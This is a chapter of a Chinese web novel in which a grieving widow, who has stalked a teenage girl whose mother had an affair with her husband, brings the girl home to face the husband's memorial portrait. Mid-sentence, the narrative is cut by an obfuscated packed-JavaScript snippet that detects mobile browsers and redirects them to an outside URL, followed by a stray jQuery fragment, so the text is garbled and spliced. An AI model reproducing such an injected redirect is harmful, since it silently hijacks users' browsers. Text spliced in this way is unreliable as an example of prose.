26.第二十五个音符

作品:《少女四重奏

    陈云舒的小三轮就停在滨江农贸大市场的门口,她脚步匆匆,有点慌张,时不时回头看两眼周渔。


    只见周渔背着双肩包,慢慢悠悠地跟在身后,还有闲心探着头四处张望,看来看去,满脸新奇。


    在发现陈云舒回头看自己时,眉眼舒展又明朗,露出一个天真的微笑。


    陈云舒面无表情地回正脑袋,心却有点乱。


    上午周渔给自己发短信的时候,她疑神疑鬼,觉得对方可能是要戏弄自己,说不定还要找上一群人来羞辱自己。


    毕竟自己今天又去找她们的麻烦了,也是,要是谁能接连一整年都偷偷摸摸跟踪自己,自己会做得比周家人更过分。


    可陈云舒又觉得以周家人的素质,是不会这样做的。


    即便万一她们家想要这样做的话,应该早就做了,不用等这个小女孩来做。


    陈云舒在家里坐立不安,躺在沙发上看着时钟的针摆缓缓划过的时候,她还是觉得不能坐以待毙。


    今天陈云舒本来就在休假,但她还是来到了自己工作的地方,她想着至少这里人多,周家的人就算要对自己做什么,也不好在大庭广众之下兴师动众。


    但让陈云舒没想到的是竟然只有一个小女孩背着书包蹦蹦跳跳地来了,是那个自己跟踪许久的少女。


    虽然她长得又高又大,也没穿校服,但年纪一看就很小,没经历过生活的重锤。


    陈云舒就坐在肉食区的休息室,看到周渔双手抓住双肩包的肩带下摆,猝不及防闻到腥臭味,脸直接皱成了苦瓜,连耳根都悄悄泛红,一副快要撅过去的样子。


    在自己还没反应过来之前,陈云舒的身体已经先冲出休息室,她拉着周渔往外走。


    走到肉食区门外后,陈云舒发现自己居然牵着那个女人的女儿的手,又恶心地甩开。


    去年在阳明山殡仪馆陈云舒就看到了周渔,她跟在家人身后,看着周围的人忙来忙去,一脸迷茫。


    后来,陈云舒听到殡仪馆的人讨论说,周家那个女儿真是可怜,她痛苦到麻木了,所以没办法痛哭出声。


    但陈云舒一看就知道,周渔跟自己这种哀莫大于心死的人不一样,她根本就不伤心。


    她怎么能不伤心呢?陈云舒不理解。


    她以后可是没有了爸妈啊,怎么会有小孩这么冷漠心狠?


    陈云舒后来跟周家人又去派出所协商了几次,不是听到两位老人担心周渔有没有按时吃饭,就是听到周渔的小姨和小姨夫打电话给周渔,电话那头的周渔语气总是一派天真。


    那时候陈云舒对周渔的印象是娇生惯养的掌上明珠,她根本就不懂什么叫伤心。


    陈云舒心有不甘,她在自己为自己构建的情绪地狱太寂寞了,于是迫不及待地想要拉着谁来陪陪自己。


    于是她开始跟踪周渔,她想在周渔的脸上看到她痛苦、难过、愧疚、煎熬的表情。


    陈云舒希望周渔跟自己感同身受,因为她认为周渔跟自己是一样的人,都在那场车祸中失去了至亲。


    她想要周渔感受自己感受到的痛不欲生、肝肠寸断、撕心裂肺、心如刀割。


    陈云舒实在太需要另一个人跟自己站在一起了,她紧紧地跟着周渔,却总是被人挡住。


    被周渔的外婆外公、小姨和小姨夫、被吵嚷的人群、被冷硬的建筑……


    她觉得自己总是被另一颗心、另一些人远离。


    /


    陈云舒情绪上涌,她急促地呼吸,脸也涨的通红,周渔跟上来,察觉到她的不对劲,关心地问她:“你怎么了?你还好吗?”


    对方问候的声音宛如隔着一层真空,闷声闷气,只剩下模糊的声调,听得陈云舒心里发堵。


    陈云舒坐上自己的小三轮驾驶座,周渔也急急跟上,坐在陈云舒的身边,陈云舒能明显感受到周渔身体的重量使三轮车往一侧倾斜。


    周渔毫无察觉,她打量着陈云舒的小三轮,声音清脆道:“我还是第一次坐小三轮呢,真新奇。”


    陈云舒语气尖酸:“那当然呢,你们家那么多四轮的车,怎么会让你坐三轮车。”


    周渔像是没察觉到陈云舒的挤兑一样,依然笑呵呵地:“我觉得你这个好,还是敞开的。”


    她把手伸出去,感受迎面而来的风,快乐地像是要出去郊游的少女。


    陈云舒被噎住,她不知道人和人之间还能这样对话,在她与其他人的对话中,总是充满了尖酸刻薄和出言不逊,即使是和丈夫谷雨,说的话也总是牛头对不上马嘴。


    她硬生生噎住想要跟对方针锋相对的想法,双手紧紧地握住方向盘。


    陈云舒租住的房子,离滨江农贸大市场很近,只需要经过一个红绿灯路口。


    将三轮车停在斑马线的时候,陈云舒看着眼前通行的车辆,突然很想踩下油门直接冲过去。


    她这一年一直在想,丈夫谷雨当时跟周家那辆车撞在一起的时候,是什么想法,他临死之前有哪怕一秒想到过自己吗?


    陈云舒看着坐在自己身边的周渔,她正在跟隔壁车上的小狗打招呼。


    如果周渔也在车祸当中死去,周家人一定会跟一年前的自己一样吧,此生都要在愧疚和悔恨当中度过,这样的话这个世界上终于有人和自己感同身受了。


    红绿灯在闪烁,前面道路上的车辆慢慢减少,陈云舒看着周渔脸上的绒毛在阳光下闪闪发光,等待绿灯亮起后,才踩下油门。


    很快,陈云舒将三轮车拐进自己现在租住的小区里,随意将三轮车大大剌剌地停在绿化带边上。


    回头一看,周渔正停在原地,她指着停在路中间的三轮车,有些小心翼翼:“这样……会挡住别人吧……”


    被周渔清澈干净的眼神盯着,陈云舒不情不愿地重新将三轮车紧靠墙边,抬眼看了下周渔,对方黑白分明的眼睛盈满笑意,还朝着自己竖起了大拇指。


    陈云舒扬了扬眉毛,不屑一顾,到达家门口后用钥匙开门的时候却好几次对不准锁芯。


    门开后,陈云舒去按墙上的开关,灯却没有亮起来,她也没在意,径直往屋里走去。


    这灯就这样,电工检查之后说是有点接触不良,可能需要换个新的灯泡。


    但陈云舒觉得这屋里就自己一个人,所以她也懒得去修。


    周围的环境太清晰的话,心里反而空落落的。


    陈云舒去厨房给自己倒了一杯水,出来之后却看到周渔在门口伸长双臂,眼睛睁开,脚步踌躇,不敢迈出大步,正缓慢地摸索着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921117|191145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前进。


    “你干嘛?”陈云舒突然出声,把周渔吓了一跳,她弹跳起来,嘟囔道:“我有夜盲症,你这太黑了,我看不到。”


    陈云舒租住的房子在一楼,但她将客厅的窗帘拉上,只有厕所和厨房那边能稍微透出一点光。


    她轻笑出声,刚刚还倔着一张脸非得让自己把车停好的少女,怎么现在突然变成了一只懵懵懂懂的猫头鹰。


    陈云舒上前拉住周渔的手,打算将周渔拉到沙发上,再去拉开窗帘。


    对方轻轻柔柔的手温热软糯,连带着陈云舒的手也变得滚烫起来,她感受到对方的信任和放心,心也跟着像是侵泡在温泉水里,熨帖又踏实。


    等周渔坐到沙发上后,陈云舒走到窗边,大手一扬,就将窗帘全部拉到一边,室内瞬间天光大亮,一切都变得清晰可见。


    沙发上的周渔却在此时又惊地弹跳了起来,陈云舒不耐烦地回头一看,只见周渔指着自己对面的东西紧张不已,满脸震惊,结结巴巴道:“你……你……你……”


    陈云舒瞟了电视墙一眼,她鄙夷地看着周渔,问她:“你没见过吗?你家应该也有吧?”


    周渔站到窗户边上的陈云舒身边,不敢往客厅中间靠,错愕不已道:“见是见过啊,没人会把这东西放在客厅正中间吧?”


    视线所到之处是谷雨的遗照,黑白的照片被嵌在大大的木框里,比周渔家的电视还要大,任何人突然之间见到都要吓一大跳。


    陈云舒是故意这样摆放的,她不想看电视,也不想看到其他的任何东西,她就想要日日夜夜地看到谷雨的相貌,如果他能从相框里钻出来更好,她有很多的问题想要问他呢!


    谷雨的眉眼清俊,穿着陈云舒最喜欢的白衬衫,嘴角还带着浅浅的笑,只不过结婚后,陈云舒很少再见到那抹笑意出现。


    照片里的人维持着这抹淡淡笑意,看久了只显得诡异,但陈云舒就喜欢看,最好死前的最后一眼也要看着这张照片。


    屋子里静悄悄,落针可闻,陈云舒饶有兴致地盯着周渔的小脸看,不肯错过她脸上的任意一丝表情变化。


    她看着周渔的表情从满脸震惊、难以置信到不忍直视,等脸上的惊涛骇浪一点点变得平静,只剩下无可奈何地接受。


    之前盯着自己的黑白分明的眼珠,现在一样盯着谷雨的那张遗照,还显现出些许兴趣。


    “他还长得挺好看的呢!”周渔突然出声夸赞。


    “是吧!我也觉得,我就喜欢他这样的,安安静静地不说话,只是浅浅地看着你笑。”


    陈云舒很久没有听到有人提到谷雨,话也变得多了起来,忽然又想到对方已经死去一年了,还跟对面这个人的妈妈出轨,又变得喜怒无常起来。


    “可惜他后来的做出的事,跟温柔和善良一点都不搭边,说出来的话蛮横又冷酷,真是可惜了这张皮囊。”


    “他是什么人跟你有什么关系?你不喜欢就跟他分开呗,你可以……”周渔天真道。


    “那不行!”陈云舒提高音量,打断周渔的话,“他不让我好过,我也决不让他如愿!”


    她的声音变得恶狠狠,每个字都咬得格外重,带着一股子压不住的恨意和压抑,直直地砸向周渔,也砸向相框里的那个人。